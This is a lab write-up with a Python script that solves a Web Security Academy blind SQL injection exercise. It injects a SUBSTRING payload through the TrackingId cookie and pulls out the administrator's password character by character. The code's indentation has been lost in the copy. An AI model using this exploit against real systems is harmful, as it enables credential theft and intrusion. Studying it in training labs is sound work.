Blind SQL injection with conditional responses using python
The Lab description
Understanding the lab
Cookie: TrackingId=e2D1yRgn8a5Q8l8E; session=OoYYGOLsm9n9NqZ2rLc4r2H4IBvhT8i5import subprocess
def getCmd(i, char, sign):
link = "https://0af900ba04c11a3481b6b15700db0006.web-security-academy.net/"
cookies = f"Cookie: TrackingId=e2D1yRgn8a5Q8l8E' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'),{i},1) {sign} '{char}'--; session=OoYYGOLsm9n9NqZ2rLc4r2H4IBvhT8i5"
return f"""curl -L "{link}" -H "{cookies}" """
i=1
password = ""
positive = "<div>Welcome back!</div><p>|</p>"
while True:
for char in "abcdefghijklmnopqrstuvwxyz0123456789":
cmd = getCmd(i, char, '=')
res = subprocess.run(cmd, shell=True, check=True, capture_output=True)
if res.stdout.decode().find(positive) != -1:
password += char
print(f"Password: {password}")
break
i += 1
if subprocess.run(getCmd(i, "", '='), shell=True, check=True, capture_output=True).stdout.decode().find(positive) != -1:
print("Done!")
breakLast updated